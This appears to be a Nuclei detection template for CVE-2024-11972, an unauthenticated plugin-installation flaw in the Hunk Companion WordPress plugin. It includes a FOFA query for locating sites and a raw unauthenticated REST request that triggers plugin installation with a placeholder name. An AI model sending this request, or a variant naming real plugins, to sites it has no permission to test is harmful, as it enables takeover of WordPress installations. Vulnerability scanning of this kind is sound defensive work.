CVE-2024-11972: Hunk Companion < 1.9.0 - Unauthenticated Plugin Installation

id: CVE-2024-11972

info:
  name: Hunk Companion < 1.9.0 - Unauthenticated Plugin Installation
  author: s4e-io
  severity: critical
  description: |
    The plugin does not correctly authorize some REST API endpoints, allowing unauthenticated requests to install and activate arbitrary plugins from the WordPress.org repo, including vulnerable plugins that have been closed.
  reference:
    - https://wpscan.com/vulnerability/4963560b-e4ae-451d-8f94-482779c415e4/
    - https://github.com/JunTakemura/exploit-CVE-2024-11972
    - https://github.com/Nxploited/CVE-2024-11972-PoC
    - https://github.com/RonF98/CVE-2024-11972-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-11972
    epss-score: 0.91677
    epss-percentile: 0.99658
    cpe: cpe:2.3:a:themehunk:hunk_companion:*:*:*:*:*:wordpress:*:*
  metadata:
    vendor: themehunk
    product: hunk_companion
    framework: wordpress
    fofa-query: body="/wp-content/plugins/hunk-companion/"
  tags: cve,cve-2024,wordpress,wp,wp-plugin,hunk-companion,vkev,vuln

variables:
  plugin: "{{to_lower(rand_text_alpha(6))}}"
  x-wp-nonce: "{{to_lower(rand_text_alpha(12))}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-json/hc/v1/themehunk-import HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"params":{"templateType":"free","plugin":{"{{plugin}}": "{{plugin}}"},"allPlugins":[{"{{plugin}}": "{{plugin}}/{{plugin}}.php"}]},"headers":{"X-WP-Nonce":"{{x-wp-nonce}}"}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '"\"https:\\\/\\\/'

      - type: word
        part: content_type_2
        words:
          - "application/json"

      - type: status
        status:
          - 200
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